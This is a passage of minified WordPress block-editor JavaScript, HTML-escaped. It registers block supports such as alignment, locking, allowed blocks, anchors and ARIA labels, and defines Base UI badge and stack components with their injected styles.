;color.customDuotone&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.defaultPalette&quot;,&quot;color.defaultDuotone&quot;,&quot;color.duotone.custom&quot;,&quot;color.duotone.theme&quot;,&quot;color.duotone.default&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;,&quot;color.defaultGradients&quot;,&quot;color.customGradient&quot;,&quot;color.background&quot;,&quot;color.link&quot;,&quot;color.text&quot;,&quot;color.heading&quot;,&quot;color.button&quot;,&quot;shadow&quot;),qo=(0,as.useMemo)(()=&gt;({background:{backgroundImage:o,backgroundSize:r},color:{palette:{custom:J,theme:H,default:X},gradients:{custom:ze,theme:ot,default:Wt},duotone:{custom:ve,theme:he,default:xe},defaultGradients:fo,defaultPalette:ne,defaultDuotone:le,custom:Y,customGradient:Do,customDuotone:K,background:rt,link:ar,heading:At,button:Pe,text:xt},typography:{fontFamilies:{custom:n,default:i,theme:s},fontSizes:{custom:c,default:u,theme:d},customFontSize:f,defaultFontSizes:a,fontStyle:m,fontWeight:h,lineHeight:p,textAlign:g,textColumns:b,textDecoration:v,textIndent:k,textTransform:S,letterSpacing:x,writingMode:y},spacing:{spacingSizes:{custom:L,default:T,theme:O},customSpacingSize:E,defaultSpacingSizes:P,padding:C,margin:B,blockGap:I,units:D},border:{color:se,radius:ce,style:ie,width:re,radiusSizes:Q},dimensions:{aspectRatio:U,height:G,minHeight:j,width:z,dimensionSizes:W},layout:ee,parentLayout:t,shadow:wt}),[o,r,n,i,s,a,c,u,d,f,m,h,p,g,b,v,k,S,x,y,C,B,I,P,E,L,T,O,D,U,G,j,z,W,ee,t,se,ce,ie,re,Q,Y,J,K,H,X,ne,le,ve,he,xe,ze,ot,Wt,fo,Do,rt,ar,xt,At,Pe,wt]);return TP(qo,e)}function dle(e){e=e.map(o=&gt;({...o,Edit:(0,as.memo)(o.edit)}));let t=(0,b4.createHigherOrderComponent)(o=&gt;function(n){let i=Ie();return[...e.map((s,a)=&gt;{let{Edit:c,hasSupport:u,attributeKeys:d=[],shareWithChildBlocks:f,supportsPatternEditing:m}=s;if(!(m&amp;&amp;i[$c]||i[bs]||i[Pp]&amp;&amp;f)||!u(n.name))return null;let p={};for(let g of d)n.attributes[g]&amp;&amp;(p[g]=n.attributes[g]);return(0,C_.jsx)(c,{name:n.name,isSelected:n.isSelected,clientId:n.clientId,setAttributes:n.setAttributes,__unstableParentLayout:n.__unstableParentLayout,...p},a)}),(0,C_.jsx)(o,{...n},&quot;edit&quot;)]},&quot;withBlockEditHooks&quot;);(0,w_.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/hooks&quot;,t)}function gPe({index:e,useBlockProps:t,setAllWrapperProps:o,...r}){let n=t(r),i=s=&gt;o(a=&gt;{let c=[...a];return c[e]=s,c});return(0,as.useEffect)(()=&gt;(i(n),()=&gt;{i(void 0)})),null}var bPe=(0,as.memo)(gPe);function fle(e){let t=(0,b4.createHigherOrderComponent)(o=&gt;function(n){let[i,s]=(0,as.useState)(Array(e.length).fill(void 0));return[...e.map((a,c)=&gt;{let{hasSupport:u,attributeKeys:d=[],useBlockProps:f,isMatch:m}=a,h={};for(let p of d)n.attributes[p]&amp;&amp;(h[p]=n.attributes[p]);return!Object.keys(h).length||!u(n.name)||m&amp;&amp;!m(h)?null:(0,C_.jsx)(bPe,{index:c,useBlockProps:f,setAllWrapperProps:s,name:n.name,clientId:n.clientId,...h},c)}),(0,C_.jsx)(o,{...n,wrapperProps:i.filter(Boolean).reduce((a,c)=&gt;({...a,...c,className:V(a.className,c.className),style:{...a.style,...c.style}}),n.wrapperProps||{})},&quot;edit&quot;)]},&quot;withBlockListBlockHooks&quot;);(0,w_.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;core/editor/hooks&quot;,t)}function mle(e){function t(o,r,n){return e.reduce((i,s)=&gt;{let{hasSupport:a,attributeKeys:c=[],addSaveProps:u}=s,d={};for(let f of c)n[f]&amp;&amp;(d[f]=n[f]);return!Object.keys(d).length||!a(r)?i:u(i,r,d)},o)}(0,w_.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/editor/hooks&quot;,t,0),(0,w_.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/editor/hooks&quot;,o=&gt;(o.hasOwnProperty(&quot;className&quot;)&amp;&amp;!o.className&amp;&amp;delete o.className,o))}var ple=l($(),1),hle=l(ut(),1);function kPe(e){let{apiVersion:t=1}=e;return t&lt;2&amp;&amp;(0,ple.hasBlockSupport)(e,&quot;lightBlockWrapper&quot;,!1)&amp;&amp;(e.apiVersion=2),e}(0,hle.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/compat/migrateLightBlockWrapper&quot;,kPe);function gle(e){e.hasAttribute(&quot;crossorigin&quot;)||e.setAttribute(&quot;crossorigin&quot;,&quot;anonymous&quot;)}if(window.crossOriginIsolated){let e=function(){document.body?t.observe(document.body,{childList:!0,attributes:!0,subtree:!0}):document.readyState===&quot;loading&quot;&amp;&amp;document.addEventListener(&quot;DOMContentLoaded&quot;,()=&gt;{document.body&amp;&amp;t.observe(document.body,{childList:!0,attributes:!0,subtree:!0})})};vPe=e;let t=new window.MutationObserver(o=&gt;{o.forEach(r=&gt;{[r.addedNodes,r.target].forEach(n=&gt;{(n instanceof window.NodeList?n:[n]).forEach(s=&gt;{let a=s;a.querySelectorAll&amp;&amp;(a.querySelectorAll(&quot;source,script,video,link&quot;).forEach(c=&gt;{gle(c)}),[&quot;SOURCE&quot;,&quot;SCRIPT&quot;,&quot;VIDEO&quot;,&quot;LINK&quot;].includes(a.nodeName)&amp;&amp;gle(a))})})})});e()}var vPe;var ble=l(ut(),1),ls=l($(),1);var k4=l(w(),1),v4=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;wide&quot;,&quot;full&quot;],yPe=[&quot;wide&quot;,&quot;full&quot;];function y4(e,t=!0,o=!0){let r;return Array.isArray(e)?r=v4.filter(n=&gt;e.includes(n)):e===!0?r=[...v4]:r=[],!o||e===!0&amp;&amp;!t?r.filter(n=&gt;!yPe.includes(n)):r}function SPe(e){return&quot;type&quot;in(e.attributes?.align??{})||(0,ls.hasBlockSupport)(e,&quot;align&quot;)&amp;&amp;(e.attributes={...e.attributes,align:{type:&quot;string&quot;,enum:[...v4,&quot;&quot;]}}),e}function _Pe({name:e,align:t,setAttributes:o}){let r=y4((0,ls.getBlockSupport)(e,&quot;align&quot;),(0,ls.hasBlockSupport)(e,&quot;alignWide&quot;,!0)),n=Hv(r).map(({name:a})=&gt;a),i=ao();return!n.length||i!==&quot;default&quot;?null:(0,k4.jsx)(Mt,{group:&quot;block&quot;,__experimentalShareWithChildBlocks:!0,children:(0,k4.jsx)(cC,{value:t,onChange:a=&gt;{a||(0,ls.getBlockType)(e)?.attributes?.align?.default&amp;&amp;(a=&quot;&quot;),o({align:a})},controls:n})})}var w2={shareWithChildBlocks:!0,edit:_Pe,useBlockProps:xPe,addSaveProps:wPe,attributeKeys:[&quot;align&quot;],hasSupport(e){return(0,ls.hasBlockSupport)(e,&quot;align&quot;,!1)}};function xPe({name:e,align:t}){let o=y4((0,ls.getBlockSupport)(e,&quot;align&quot;),(0,ls.hasBlockSupport)(e,&quot;alignWide&quot;,!0));return Hv(o).some(n=&gt;n.name===t)?{&quot;data-align&quot;:t}:{}}function wPe(e,t,o){let{align:r}=o,n=(0,ls.getBlockSupport)(t,&quot;align&quot;),i=(0,ls.hasBlockSupport)(t,&quot;alignWide&quot;,!0);return y4(n,i).includes(r)&amp;&amp;(e.className=V(`align${r}`,e.className)),e}(0,ble.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/align/addAttribute&quot;,SPe);var kle=l(ut(),1);function CPe(e){return&quot;type&quot;in(e.attributes?.lock??{})||(e.attributes={...e.attributes,lock:{type:&quot;object&quot;}}),e}(0,kle.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/lock/addAttribute&quot;,CPe);var C4=l(ut(),1),ak=l($(),1);var B_=l(A(),1),E2=l(N(),1),Ple=l(R(),1),Rle=l(F(),1),T2=l($(),1);var Pn=l(A(),1),Ele=l(R(),1),sk=l(N(),1),Tle=l(F(),1);var x4=l($(),1),wle=l(F(),1),ik=l(A(),1),ra=l(N(),1),C2=l(R(),1),Cle=l(Z(),1),Ble=l(Xo(),1);var S4=l(R(),1),Sle=l(Z(),1),_le=l(A(),1);var vle=l(A(),1);var rk=l(w(),1);function BPe({blockTypes:e,value:t,onItemChange:o}){return(0,rk.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-manager__checklist&quot;,children:e.map(r=&gt;(0,rk.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-manager__checklist-item&quot;,children:[(0,rk.jsx)(vle.CheckboxControl,{label:r.title,checked:t.includes(r.name),onChange:(...n)=&gt;o(r,...n)}),(0,rk.jsx)(Ae,{icon:r.icon})]},r.name))})}var yle=BPe;var nk=l(w(),1);function xle({title:e,blockTypes:t,selectedBlockTypes:o,onChange:r}){let n=(0,Sle.useInstanceId)(xle),i=(0,S4.useCallback)((f,m)=&gt;{r(m?[...o,f]:o.filter(({name:h})=&gt;h!==f.name))},[o,r]),s=(0,S4.useCallback)(f=&gt;{r(f?[...o,...t.filter(m=&gt;!o.find(({name:h})=&gt;h===m.name))]:o.filter(m=&gt;!t.find(({name:h})=&gt;h===m.name)))},[t,o,r]);if(!t.length)return null;let a=t.map(({name:f})=&gt;f).filter(f=&gt;(o??[]).some(m=&gt;m.name===f)),c=&quot;block-editor-block-manager__category-title-&quot;+n,u=a.length===t.length,d=!u&amp;&amp;a.length&gt;0;return(0,nk.jsxs)(&quot;div&quot;,{role:&quot;group&quot;,&quot;aria-labelledby&quot;:c,className:&quot;block-editor-block-manager__category&quot;,children:[(0,nk.jsx)(_le.CheckboxControl,{checked:u,onChange:s,className:&quot;block-editor-block-manager__category-title&quot;,indeterminate:d,label:(0,nk.jsx)(&quot;span&quot;,{id:c,children:e})}),(0,nk.jsx)(yle,{blockTypes:t,value:a,onItemChange:i})]})}var _4=xle;var Bc=l(w(),1);function B2({blockTypes:e,selectedBlockTypes:t,onChange:o,showSelectAll:r=!0}){let n=(0,Cle.useDebounce)(Ble.speak,500),[i,s]=(0,C2.useState)(&quot;&quot;),{categories:a,isMatchingSearchTerm:c}=(0,wle.useSelect)(m=&gt;({categories:m(x4.store).getCategories(),isMatchingSearchTerm:m(x4.store).isMatchingSearchTerm}),[]),u=e.filter(m=&gt;!i||c(m,i)),d=t.length&gt;0&amp;&amp;t.length!==e.length,f=e.length&gt;0&amp;&amp;t.length===e.length;return(0,C2.useEffect)(()=&gt;{if(!i)return;let m=u.length,h=(0,ra.sprintf)((0,ra._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,m),m);n(h)},[u?.length,i,n]),(0,Bc.jsxs)(ik.__experimentalVStack,{className:&quot;block-editor-block-manager__content&quot;,spacing:4,children:[(0,Bc.jsx)(ik.SearchControl,{label:(0,ra.__)(&quot;Search for a block&quot;),placeholder:(0,ra.__)(&quot;Search for a block&quot;),value:i,onChange:m=&gt;s(m),className:&quot;block-editor-block-manager__search&quot;}),r&amp;&amp;(0,Bc.jsx)(ik.CheckboxControl,{className:&quot;block-editor-block-manager__select-all&quot;,label:(0,ra.__)(&quot;Select all&quot;),checked:f,onChange:()=&gt;{o(f?[]:e)},indeterminate:d}),(0,Bc.jsxs)(&quot;div&quot;,{tabIndex:&quot;0&quot;,role:&quot;region&quot;,&quot;aria-label&quot;:(0,ra.__)(&quot;Available block types&quot;),className:&quot;block-editor-block-manager__results&quot;,children:[u.length===0&amp;&amp;(0,Bc.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-manager__no-results&quot;,children:(0,ra.__)(&quot;No blocks found.&quot;)}),a.map(m=&gt;(0,Bc.jsx)(_4,{title:m.title,blockTypes:u.filter(h=&gt;h.category===m.slug),selectedBlockTypes:t,onChange:o},m.slug)),(0,Bc.jsx)(_4,{title:(0,ra.__)(&quot;Uncategorized&quot;),blockTypes:u.filter(({category:m})=&gt;!m),selectedBlockTypes:t,onChange:o})]})]})}var na=l(w(),1);function Ile({clientId:e,blockTypes:t,selectedBlockTypes:o,onClose:r}){let[n,i]=(0,Ele.useState)(o),{updateBlockAttributes:s}=(0,Tle.useDispatch)(_),a=()=&gt;{let c=n.length===t.length,u=n.map(({name:d})=&gt;d);s(e,{allowedBlocks:c?void 0:u}),r()};return(0,na.jsx)(Pn.Modal,{title:(0,sk._x)(&quot;Manage allowed blocks&quot;,&quot;modal title&quot;),onRequestClose:r,overlayClassName:&quot;block-editor-block-allowed-blocks-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,children:(0,na.jsxs)(Pn.__experimentalVStack,{as:&quot;form&quot;,onSubmit:c=&gt;{c.preventDefault(),a()},spacing:&quot;4&quot;,children:[(0,na.jsx)(Pn.__experimentalText,{children:(0,sk.__)(&quot;Select which blocks can be added inside this container.&quot;)}),(0,na.jsx)(B2,{blockTypes:t,selectedBlockTypes:n,onChange:c=&gt;{i(c)}}),(0,na.jsxs)(Pn.Flex,{className:&quot;block-editor-block-allowed-blocks-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,na.jsx)(Pn.FlexItem,{children:(0,na.jsx)(Pn.Button,{variant:&quot;tertiary&quot;,onClick:r,__next40pxDefaultSize:!0,children:(0,sk.__)(&quot;Cancel&quot;)})}),(0,na.jsx)(Pn.FlexItem,{children:(0,na.jsx)(Pn.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,__next40pxDefaultSize:!0,children:(0,sk.__)(&quot;Apply&quot;)})})]})]})})}var fp=l(w(),1);function Ole({clientId:e}){let[t,o]=(0,Ple.useState)(!1),{blockTypes:r,selectedBlockNames:n}=(0,Rle.useSelect)(a=&gt;{let{getBlockAttributes:c}=a(_);return{blockTypes:a(T2.store).getBlockTypes(),selectedBlockNames:c(e)?.allowedBlocks}},[e]),i=r.filter(a=&gt;(0,T2.hasBlockSupport)(a,&quot;inserter&quot;,!0)&amp;&amp;(!a.parent||a.parent.includes(&quot;core/post-content&quot;)));if(!i)return null;let s=n===void 0?i:i.filter(a=&gt;n.includes(a.name));return(0,fp.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-allowed-blocks-control&quot;,children:[(0,fp.jsxs)(B_.BaseControl,{help:(0,E2.__)(&quot;Specify which blocks are allowed inside this container.&quot;),children:[(0,fp.jsx)(B_.BaseControl.VisualLabel,{children:(0,E2.__)(&quot;Allowed Blocks&quot;)}),(0,fp.jsx)(B_.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{o(!0)},className:&quot;block-editor-block-allowed-blocks-control__button&quot;,children:(0,E2.__)(&quot;Manage allowed blocks&quot;)})]}),t&amp;&amp;(0,fp.jsx)(Ile,{clientId:e,blockTypes:i,selectedBlockTypes:s,onClose:()=&gt;o(!1)})]})}var w4=l(w(),1);function EPe({clientId:e}){return ao()===&quot;contentOnly&quot;?null:(0,w4.jsx)(sS.Fill,{children:(0,w4.jsx)(Ole,{clientId:e})})}var Ale={edit:EPe,attributeKeys:[&quot;allowedBlocks&quot;],hasSupport(e){return(0,ak.hasBlockSupport)(e,&quot;allowedBlocks&quot;)}};function TPe(e){return e?.attributes?.allowedBlocks?.type||(0,ak.hasBlockSupport)(e,&quot;allowedBlocks&quot;)&amp;&amp;(e.attributes={...e.attributes,allowedBlocks:{type:&quot;array&quot;}}),e}(0,C4.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/allowedBlocks/attribute&quot;,TPe);function IPe(e,t,o,r){if(!(0,ak.hasBlockSupport)(e.name,&quot;allowedBlocks&quot;)||t.length!==1&amp;&amp;r.length===1&amp;&amp;e.innerBlocks.length===t.length||r.length===1&amp;&amp;t.length&gt;1||r.length&gt;1&amp;&amp;t.length===1||r.length&gt;1&amp;&amp;t.length&gt;1&amp;&amp;r.length!==t.length||e.attributes.allowedBlocks)return e;let n=t[o]?.attributes?.allowedBlocks;if(!n)return e;let s=(0,ak.getBlockType)(e.name)?.allowedBlocks||[];if(!s.length)return{...e,attributes:{...e.attributes,allowedBlocks:n}};let a=n.filter(c=&gt;s.includes(c));return{...e,attributes:{...e.attributes,allowedBlocks:a}}}(0,C4.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/allowedBlocks/addTransforms&quot;,IPe);var Lle=l(ut(),1),I2=l(A(),1),lk=l(N(),1),P2=l($(),1),Nle=l(R(),1);var Qa=l(w(),1),PPe=/[\s#]/g;function RPe(e){return&quot;type&quot;in(e.attributes?.anchor??{})||(0,P2.hasBlockSupport)(e,&quot;anchor&quot;)&amp;&amp;(e.attributes={...e.attributes,anchor:{type:&quot;string&quot;}}),e}function OPe({anchor:e,setAttributes:t}){if(ao()!==&quot;default&quot;)return null;let r=Nle.Platform.OS===&quot;web&quot;;return(0,Qa.jsx)(fe,{group:&quot;advanced&quot;,children:(0,Qa.jsx)(I2.TextControl,{__next40pxDefaultSize:!0,className:&quot;html-anchor-control&quot;,label:(0,lk.__)(&quot;HTML anchor&quot;),help:(0,Qa.jsxs)(Qa.Fragment,{children:[(0,lk.__)(&quot;Enter a word or two\u2014without spaces\u2014to make a unique web address just for this block, called an \u201Canchor\u201D. Then, you\u2019ll be able to link directly to this section of your page.&quot;),r&amp;&amp;(0,Qa.jsxs)(Qa.Fragment,{children:[&quot; &quot;,(0,Qa.jsx)(I2.ExternalLink,{href:(0,lk.__)(&quot;https://wordpress.org/documentation/article/page-jumps/&quot;),children:(0,lk.__)(&quot;Learn more about anchors&quot;)})]})]}),value:e||&quot;&quot;,placeholder:r?null:(0,lk.__)(&quot;Add an anchor&quot;),onChange:n=&gt;{n=n.replace(PPe,&quot;-&quot;),t({anchor:n!==&quot;&quot;?n:void 0})},autoCapitalize:&quot;none&quot;,autoComplete:&quot;off&quot;})})}var B4={addSaveProps:APe,edit:OPe,attributeKeys:[&quot;anchor&quot;],hasSupport(e){return(0,P2.hasBlockSupport)(e,&quot;anchor&quot;)}};function APe(e,t,o){return(0,P2.hasBlockSupport)(t,&quot;anchor&quot;)&amp;&amp;(e.id=o.anchor===&quot;&quot;?null:o.anchor),e}(0,Lle.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/anchor/attribute&quot;,RPe);var Mle=l(ut(),1),R2=l($(),1);function LPe(e){return e?.attributes?.ariaLabel?.type||(0,R2.hasBlockSupport)(e,&quot;ariaLabel&quot;)&amp;&amp;(e.attributes={...e.attributes,ariaLabel:{type:&quot;string&quot;}}),e}function NPe(e,t,o){return(0,R2.hasBlockSupport)(t,&quot;ariaLabel&quot;)&amp;&amp;!Ue(t,&quot;ariaLabel&quot;,&quot;ariaLabel&quot;)&amp;&amp;(e[&quot;aria-label&quot;]=o.ariaLabel===&quot;&quot;?null:o.ariaLabel),e}var Dle={addSaveProps:NPe,attributeKeys:[&quot;ariaLabel&quot;],hasSupport(e){return(0,R2.hasBlockSupport)(e,&quot;ariaLabel&quot;)}};(0,Mle.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/ariaLabel/attribute&quot;,LPe);var Bk=l($(),1),OR=l(A(),1),$de=l(F(),1);var Fle=l(jr(),1),Vle={};function E4(e,t){let o=Fle.useRef(Vle);return o.current===Vle&amp;&amp;(o.current=e(t)),o}function T4(e,...t){let o=new URL(`https://base-ui.com/production-error/${e}`);return t.forEach(r=&gt;o.searchParams.append(&quot;args[]&quot;,r)),`Base UI error #${e}; visit ${o} for the full message.`}var O2=l(jr(),1);function I4(e,t,o,r){let n=E4(jle).current;return MPe(n,e,t,o,r)&amp;&amp;Ule(n,[e,t,o,r]),n.callback}function zle(e){let t=E4(jle).current;return DPe(t,e)&amp;&amp;Ule(t,e),t.callback}function jle(){return{callback:null,cleanup:null,refs:[]}}function MPe(e,t,o,r,n){return e.refs[0]!==t||e.refs[1]!==o||e.refs[2]!==r||e.refs[3]!==n}function DPe(e,t){return e.refs.length!==t.length||e.refs.some((o,r)=&gt;o!==t[r])}function Ule(e,t){if(e.refs=t,t.every(o=&gt;o==null)){e.callback=null;return}e.callback=o=&gt;{if(e.cleanup&amp;&amp;(e.cleanup(),e.cleanup=null),o!=null){let r=Array(t.length).fill(null);for(let n=0;n&lt;t.length;n+=1){let i=t[n];if(i!=null)switch(typeof i){case&quot;function&quot;:{let s=i(o);typeof s==&quot;function&quot;&amp;&amp;(r[n]=s);break}case&quot;object&quot;:{i.current=o;break}default:}}e.cleanup=()=&gt;{for(let n=0;n&lt;t.length;n+=1){let i=t[n];if(i!=null)switch(typeof i){case&quot;function&quot;:{let s=r[n];typeof s==&quot;function&quot;?s():i(null);break}case&quot;object&quot;:{i.current=null;break}default:}}}}}}var Wle=l(jr(),1);var Hle=l(jr(),1),VPe=parseInt(Hle.version,10);function Gle(e){return VPe&gt;=e}function P4(e){if(!Wle.isValidElement(e))return null;let t=e,o=t.props;return(Gle(19)?o?.ref:t.ref)??null}function E_(e,t){if(e&amp;&amp;!t)return e;if(!e&amp;&amp;t)return t;if(e||t)return{...e,...t}}function $le(e,t){let o={};for(let r in e){let n=e[r];if(t?.hasOwnProperty(r)){let i=t[r](n);i!=null&amp;&amp;Object.assign(o,i);continue}n===!0?o[`data-${r.toLowerCase()}`]=&quot;&quot;:n&amp;&amp;(o[`data-${r.toLowerCase()}`]=n.toString())}return o}function Kle(e,t){return typeof e==&quot;function&quot;?e(t):e}function Yle(e,t){return typeof e==&quot;function&quot;?e(t):e}var I_={};function ck(e,t,o,r,n){let i={...R4(e,I_)};return t&amp;&amp;(i=T_(i,t)),o&amp;&amp;(i=T_(i,o)),r&amp;&amp;(i=T_(i,r)),n&amp;&amp;(i=T_(i,n)),i}function qle(e){if(e.length===0)return I_;if(e.length===1)return R4(e[0],I_);let t={...R4(e[0],I_)};for(let o=1;o&lt;e.length;o+=1)t=T_(t,e[o]);return t}function T_(e,t){return Zle(t)?t(e):FPe(e,t)}function FPe(e,t){if(!t)return e;for(let o in t){let r=t[o];switch(o){case&quot;style&quot;:{e[o]=E_(e.style,r);break}case&quot;className&quot;:{e[o]=O4(e.className,r);break}default:zPe(o,r)?e[o]=jPe(e[o],r):e[o]=r}}return e}function zPe(e,t){let o=e.charCodeAt(0),r=e.charCodeAt(1),n=e.charCodeAt(2);return o===111&amp;&amp;r===110&amp;&amp;n&gt;=65&amp;&amp;n&lt;=90&amp;&amp;(typeof t==&quot;function&quot;||typeof t&gt;&quot;u&quot;)}function Zle(e){return typeof e==&quot;function&quot;}function R4(e,t){return Zle(e)?e(t):e??I_}function jPe(e,t){return t?e?o=&gt;{if(HPe(o)){let n=o;UPe(n);let i=t(n);return n.baseUIHandlerPrevented||e?.(n),i}let r=t(o);return e?.(o),r}:t:e}function UPe(e){return e.preventBaseUIHandler=()=&gt;{e.baseUIHandlerPrevented=!0},e}function O4(e,t){return t?e?t+&quot; &quot;+e:t:e}function HPe(e){return e!=null&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;&quot;nativeEvent&quot;in e}var GPe=Object.freeze([]),Ud=Object.freeze({});var A4=l(jr(),1);function Xle(e,t,o={}){let r=t.render,n=WPe(t,o);if(o.enabled===!1)return null;let i=o.state??Ud;return $Pe(e,r,n,i)}function WPe(e,t={}){let{className:o,style:r,render:n}=e,{state:i=Ud,ref:s,props:a,stateAttributesMapping:c,enabled:u=!0}=t,d=u?Kle(o,i):void 0,f=u?Yle(r,i):void 0,m=u?$le(i,c):Ud,h=u?E_(m,Array.isArray(a)?qle(a):a)??Ud:Ud;return typeof document&lt;&quot;u&quot;&amp;&amp;(u?Array.isArray(s)?h.ref=zle([h.ref,P4(n),...s]):h.ref=I4(h.ref,P4(n),s):I4(null,null)),u?(d!==void 0&amp;&amp;(h.className=O4(h.className,d)),f!==void 0&amp;&amp;(h.style=E_(h.style,f)),h):Ud}function $Pe(e,t,o,r){if(t){if(typeof t==&quot;function&quot;)return t(o,r);let n=ck(o,t.props);return n.ref=o.ref,O2.cloneElement(t,n)}if(e&amp;&amp;typeof e==&quot;string&quot;)return KPe(e,o);throw new Error(T4(8))}function KPe(e,t){return e===&quot;button&quot;?(0,A4.createElement)(&quot;button&quot;,{type:&quot;button&quot;,...t,key:t.key}):e===&quot;img&quot;?(0,A4.createElement)(&quot;img&quot;,{alt:&quot;&quot;,...t,key:t.key}):O2.createElement(e,t)}function A2(e){return Xle(e.defaultTagName??&quot;div&quot;,e,e)}var Jle=l(R(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;244b5c59c0&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;244b5c59c0&quot;),e.appendChild(document.createTextNode(&#039;@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._96e6251aad1a6136__badge{border-radius:var(--wpds-border-radius-lg,8px);font-family:var(--wpds-font-family-body,-apple-system,system-ui,&quot;Segoe UI&quot;,&quot;Roboto&quot;,&quot;Oxygen-Sans&quot;,&quot;Ubuntu&quot;,&quot;Cantarell&quot;,&quot;Helvetica Neue&quot;,sans-serif);font-size:var(--wpds-font-size-sm,12px);font-weight:var(--wpds-font-weight-regular,400);line-height:var(--wpds-font-line-height-xs,16px);padding-block:var(--wpds-dimension-padding-xs,4px);padding-inline:var(--wpds-dimension-padding-sm,8px)}._99f7158cb520f750__is-high-intent{background-color:var(--wpds-color-bg-surface-error,#f6e6e3);color:var(--wpds-color-fg-content-error,#470000)}.c20ebef2365bc8b7__is-medium-intent{background-color:var(--wpds-color-bg-surface-warning,#fde6bd);color:var(--wpds-color-fg-content-warning,#2e1900)}._365e1626c6202e52__is-low-intent{background-color:var(--wpds-color-bg-surface-caution,#fee994);color:var(--wpds-color-fg-content-caution,#281d00)}._33f8198127ddf4ef__is-stable-intent{background-color:var(--wpds-color-bg-surface-success,#c5f7cc);color:var(--wpds-color-fg-content-success,#002900)}._04c1aca8fc449412__is-informational-intent{background-color:var(--wpds-color-bg-surface-info,#deebfa);color:var(--wpds-color-fg-content-info,#001b4f)}._90726e69d495ec19__is-draft-intent{background-color:var(--wpds-color-bg-surface-neutral-weak,#f0f0f0);color:var(--wpds-color-fg-content-neutral,#1e1e1e)}._898f4a544993bd39__is-none-intent{background-color:var(--wpds-color-bg-surface-neutral,#f8f8f8);color:var(--wpds-color-fg-content-neutral-weak,#6d6d6d)}}&#039;)),document.head.appendChild(e)}var Qle={badge:&quot;_96e6251aad1a6136__badge&quot;,&quot;is-high-intent&quot;:&quot;_99f7158cb520f750__is-high-intent&quot;,&quot;is-medium-intent&quot;:&quot;c20ebef2365bc8b7__is-medium-intent&quot;,&quot;is-low-intent&quot;:&quot;_365e1626c6202e52__is-low-intent&quot;,&quot;is-stable-intent&quot;:&quot;_33f8198127ddf4ef__is-stable-intent&quot;,&quot;is-informational-intent&quot;:&quot;_04c1aca8fc449412__is-informational-intent&quot;,&quot;is-draft-intent&quot;:&quot;_90726e69d495ec19__is-draft-intent&quot;,&quot;is-none-intent&quot;:&quot;_898f4a544993bd39__is-none-intent&quot;},L4=(0,Jle.forwardRef)(function({children:t,intent:o=&quot;none&quot;,render:r,className:n,...i},s){return A2({render:r,defaultTagName:&quot;span&quot;,ref:s,props:ck(i,{className:V(Qle.badge,Qle[`is-${o}-intent`],n),children:t})})});var ece=l(R(),1);if(typeof document&lt;&quot;u&quot;&amp;&amp;!document.head.querySelector(&quot;style[data-wp-hash=&#039;71d20935c2&#039;]&quot;)){let e=document.createElement(&quot;style&quot;);e.setAttribute(&quot;data-wp-hash&quot;,&quot;71d20935c2&quot;),e.appendChild(document.createTextNode(&quot;@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._19ce0419607e1896__stack{display:flex}}&quot;)),document.head.appendChild(e)}var YPe={stack:&quot;_19ce0419607e1896__stack&quot;},qPe={xs:&quot;var(--wpds-dimension-gap-xs, 4px)&quot;,sm:&quot;var(--wpds-dimension-gap-sm, 8px)&quot;,md:&quot;var(--wpds-dimension-gap-md, 12px)&quot;,lg:&quot;var(--wpds-dimension-gap-lg, 16px)&quot;,xl:&quot;var(--wpds-dimension-gap-xl, 24px)&quot;,&quot;2xl&quot;:&quot;var(--wpds-dimension-gap-2xl, 32px)&quot;,&quot;3xl&quot;:&quot;var(--wpds-dimension-gap-3xl, 40px)&quot;},De=(0,ece.forwardRef)(function({direction:t,gap:o,align:r,justify:n,wrap:i,render:s,...a},c){let u={gap:o&amp;&amp;qPe[o],alignItems:r,justifyContent:n,flexDirection:t,flexWrap:i};return A2({render:s,ref:c,props:ck(a,{style:u,className:YPe.stack})})});var N4=l(N(),1);var Ut=&quot;isAny&quot;,Ht=&quot;isNone&quot;,Ir=&quot;isAll&quot;,Pr=&quot;isNotAll&quot;,tn=&quot;between&quot;,on=&quot;inThePast&quot;,Rn=&quot;over&quot;,Jt=&quot;is&quot;,eo=&quot;isNot&quot;,Hd=&quot;lessThan&quot;,Gd=&quot;greaterThan&quot;,Wd=&quot;lessThanOrEqual&quot;,$d=&quot;greaterThanOrEqual&quot;,Kd=&quot;before&quot;,Yd=&quot;after&quot;,qd=&quot;beforeInc&quot;,Zd=&quot;afterInc&quot;,Ja=&quot;contains&quot;,el=&quot;notContains&quot;,tl=&quot;startsWith&quot;,Xd=&quot;on&quot;,Qd=&quot;notOn&quot;;var Hht={asc:(0,N4.__)(&quot;Sort ascending&quot;),desc:(0,N4.__)(&quot;Sort descending&quot;)};var 